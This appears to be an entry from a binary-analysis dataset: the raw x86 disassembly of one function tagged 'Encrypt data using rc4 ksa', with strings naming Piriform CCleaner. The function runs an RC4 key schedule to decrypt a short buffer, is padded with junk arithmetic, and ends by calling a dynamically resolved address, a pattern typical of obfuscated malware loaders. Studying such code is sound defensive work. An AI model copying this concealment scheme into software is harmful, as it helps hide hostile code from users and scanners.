Function at 0x100141c8
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x15c
mov eax, ecx
mov dword [ebp - 0x28], eax
test eax, eax
je 0x10014464
mov edx, dword [0x1002c044]
mov ecx, str.._AVCCleanerMozillaFormHistory_Piriform__
mov al, byte [str.._AVCCleanerMozillaFormHistory_Piriform__]
add edx, 0x158b7f0
push esi
push edi
mov dword [ebp - 0x24], 0xf
or edx, 0x396ea498
jmp 0x1001420e
sub al, 0x30
cmp al, 9
ja 0x10014254
inc ecx
mov al, byte [ecx]
test al, al
jne 0x10014205
mov edi, dword [0x1002be1c]
mov eax, edi
and eax, 0xeca09bad
mov dword [ebp - 4], eax
call fcn.1001340c
xor esi, esi
mov dword [ebp - 0x38], 0x63
mov dword [ebp - 0x34], 0x4e
mov dword [ebp - 0x30], 0xe
mov dword [ebp - 0x2c], 0xffffff4f
mov dword [ebp - 8], esi
mov al, byte [str.FailedToUpdateUnknowFileType]
mov ecx, str.FailedToUpdateUnknowFileType
jmp 0x10014265
imul edi, edx, 0x31a8f6c4
jmp 0x10014218
sub al, 0x30
cmp al, 9
ja 0x1001426b
inc ecx
mov al, byte [ecx]
test al, al
jne 0x1001425c
jmp 0x10014272
add dword [ebp - 4], 0x45b44d9b
mov ecx, esi
mov eax, str.LangSecRef3021
inc ecx
lea eax, [eax + 2]
cmp ecx, 0x1741
je 0x1001428c
cmp word [eax], si
jne 0x10014279
jmp 0x1001429c
mov edx, str.._AVCCleanerMozillaFormHistory_Piriform__
lea ecx, [edi - 0x2f3fc7]
call fcn.10013748
mov edi, dword [ebp - 4]
or edi, 0xa427a6aa
call fcn.10013b3e
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
sub ecx, dword [ebp + eax*4 - 0x38]
inc eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 8], eax
cmp eax, 4
jl 0x10014248
push 8
pop ecx
mov esi, str._tfunction_getRuleName_eLangSecRef_
mov dword [ebp - 0x1c], 0x284b03c1
lea edi, [ebp - 0x5c]
mov dword [ebp - 0x18], 0x205ee0ec
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov edi, dword [ebp - 4]
mov eax, edi
and eax, 0xa5c3f7e3
mov edx, edi
mov ecx, eax
mov dword [ebp - 0x14], eax
mov dword [0x1002be1c], eax
call fcn.100138a0
xor esi, esi
mov dword [ebp - 8], esi
mov eax, esi
mov byte [ebp + eax - 0x15c], al
inc eax
cmp eax, 0x100
jb 0x10014300
xor edx, edx
mov dword [ebp - 0x10], 0x22
mov eax, esi
mov cl, byte [ebp + esi - 0x15c]
div dword [ebp - 0x10]
mov byte [ebp - 9], cl
lea edi, [edi - 0x36f4e5c1]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x5c]
add eax, dword [ebp - 8]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 8], ecx
mov al, byte [ebp + ecx - 0x15c]
mov byte [ebp + esi - 0x15c], al
inc esi
mov al, byte [ebp - 9]
mov byte [ebp + ecx - 0x15c], al
cmp esi, 0x100
jb 0x1001430f
movzx eax, byte [str.._AVCCleanerMozillaFormHistory_Piriform__]
xor esi, esi
mov dword [ebp - 4], esi
mov ecx, esi
mov edi, esi
mov dword [ebp - 8], eax
mov esi, dword [ebp - 0x14]
lea eax, [ecx + 1]
movzx edx, al
mov dword [ebp - 0x14], edx
mov cl, byte [ebp + edx - 0x15c]
movzx eax, cl
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x10]
movzx eax, al
mov dword [ebp - 4], eax
mov al, byte [ebp + eax - 0x15c]
mov byte [ebp + edx - 0x15c], al
mov edx, 0x11e9
mov eax, dword [ebp - 4]
mov byte [ebp + eax - 0x15c], cl
mov eax, str.._AVCCleanerMozillaFormHistory_Piriform__
mov ecx, dword [ebp - 8]
jmp 0x100143ce
add edx, ecx
inc eax
cmp edx, 0x1bcd
ja 0x100143d4
movzx ecx, byte [eax]
test ecx, ecx
jne 0x100143c0
jmp 0x100143dd
push ecx
push ecx
call fcn.10013e63
pop ecx
pop ecx
or esi, 0x766effe6
mov dword [0x1002be1c], esi
mov eax, esi
xor eax, 0x80a5707c
mov dword [0x1002c044], eax
call fcn.10013660
mov ecx, dword [ebp - 0x14]
movzx eax, byte [ebp + ecx - 0x15c]
add eax, dword [ebp - 0x10]
movzx eax, al
mov al, byte [ebp + eax - 0x15c]
xor al, byte [ebp + edi - 0x1c]
mov byte [ebp + edi - 0x34], al
inc edi
cmp edi, 8
jb 0x10014377
pop edi
pop esi
xor eax, eax
mov dword [ebp - 0x20], 0x12
push 0x45
mov byte [ebp - 0x2c], al
pop edx
mov dword [ebp - 0x1c], 0x31
mov dword [ebp - 0x18], 0xffffff78
add edx, dword [ebp + eax*4 - 0x20]
inc eax
cmp eax, 3
jl 0x10014443
push dword [ebp - 0x28]
push edx
call fcn.10013f52
mov ecx, dword [ebp - 0x24]
lea edx, [ebp - 0x34]
push eax
call fcn.1001d36b
call eax
leave
ret